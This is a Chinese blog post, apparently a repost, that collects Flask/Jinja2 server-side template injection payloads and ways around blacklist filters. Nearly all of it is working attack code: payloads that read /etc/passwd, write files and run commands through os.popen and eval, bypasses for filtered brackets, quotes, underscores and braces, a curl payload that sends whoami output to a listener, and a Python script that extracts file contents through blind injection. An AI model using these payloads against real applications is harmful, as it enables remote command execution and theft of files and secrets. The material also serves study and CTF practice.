flask ssti 的一些黑名单绕过姿势

转自 https://p0sec.net/index.php/archives/120/

最近学flask的ssti,看到一些比较好的文章,分享并记录学习一下

0x00 获取基本类

首先通过str、dict、tuple或list获取python的基本类(当然也可以利用一些其他在jinja2中存在的对象,比如request):

  • ''.__class__.__mro__[2]
  • {}.__class__.__bases__[0]
  • ().__class__.__bases__[0]
  • [].__class__.__bases__[0]
  • request.__class__.__mro__[8]

可以借助__getitem__绕过中括号限制:

  • ''.__class__.__mro__.__getitem__(2)
  • {}.__class__.__bases__.__getitem__(0)
  • ().__class__.__bases__.__getitem__(0)
  • request.__class__.__mro__.__getitem__(8)

下面基本类就用object代替,测试时将object换成上面任意一个

0x01 文件操作

object.__subclasses__()[40]为file类,所以可以对文件进行操作

读文件:

  • object.__subclasses__()[40]('/etc/passwd').read()

写文件:

  • object.__subclasses__()[40]('/tmp').write('test')

0x02 执行命令

object.__subclasses__()[59].__init__.func_globals.linecache下直接有os类,可以直接执行命令:

  • object.__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()

object.__subclasses__()[59].__init__.__globals__.__builtins__下有eval__import__等的全局函数,可以利用此来执行命令:

  • object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
  • object.__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
  • object.__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
  • object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

0x03 ByPass

分享一些payload

{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[312].__init__.__globals__['po'+'pen']('cat /Th1s__is_S3cret').read() }}

{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[256].__enter__.__globals__['po'+'pen']('cat /Th1s_is__F1114g').read() }}

1. 过滤[

读文件:

  • ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

执行命令:

  • ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()

2. 过滤引号

先获取chr函数,赋值给chr,后面拼接字符串就好了:

  • {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}

借助request对象(推荐):

  • {{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd

执行命令:

  • {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
  • {{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id

3. 过滤双下划线__

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

4. 过滤{{

可以利用{%%}标记

  • {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

相当于盲命令执行,利用curl将执行结果带出来

如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来

  • {% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}~p0~{% endif %}

平时的SQL注入盲注脚本改一下就ok

# -*- coding: utf-8 -*-
import requests


url = 'http://127.0.0.1:8080/'

def check(payload):
    postdata = {
        'exploit':payload
        }
    r = requests.post(url, data=postdata).content
    return '~p0~' in r

password  = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'

for i in xrange(0,100):
    for c in s:
        payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}~p0~{% endif %}'
        if check(payload):
            password += c
            break
    print password

参考:

  • 3
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值